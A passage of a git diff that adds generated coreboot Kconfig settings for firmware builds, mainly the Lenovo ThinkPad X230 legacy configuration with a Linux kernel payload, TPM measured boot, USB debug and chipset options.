+CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_SMBIOS_PROVIDED_BY_MOBO=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_RAM_SETUP=y +# CONFIG_DEBUG_RAM_SETUP is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_RESOURCES is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_FUNC is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-x230-legacy.config b/config/coreboot-x230-legacy.config index f9c8455ff..12be7c439 100644 --- a/config/coreboot-x230-legacy.config +++ b/config/coreboot-x230-legacy.config @@ -1,28 +1,695 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y # CONFIG_USE_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set CONFIG_FW_CONFIG=y CONFIG_FW_CONFIG_SOURCE_CBFS=y + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_BOARD_SPECIFIC_OPTIONS=y +CONFIG_MAINBOARD_FAMILY="ThinkPad X230" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad X230" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/x230" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0x700000 +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="x230" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad X230" +# CONFIG_HAVE_IFD_BIN is not set +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set +# CONFIG_BOARD_LENOVO_T530 is not set +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set CONFIG_BOARD_LENOVO_X230=y +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="LEN0020" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set # CONFIG_RAMINIT_ENABLE_ECC is not set + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# +CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 # CONFIG_PCI_ALLOW_BUS_MASTER is not set +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Ironlake" +CONFIG_GFX_GMA_PCH="Cougar_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y +CONFIG_DRIVERS_MC146818=y # CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +CONFIG_DRIVERS_RICOH_RCE822=y +# 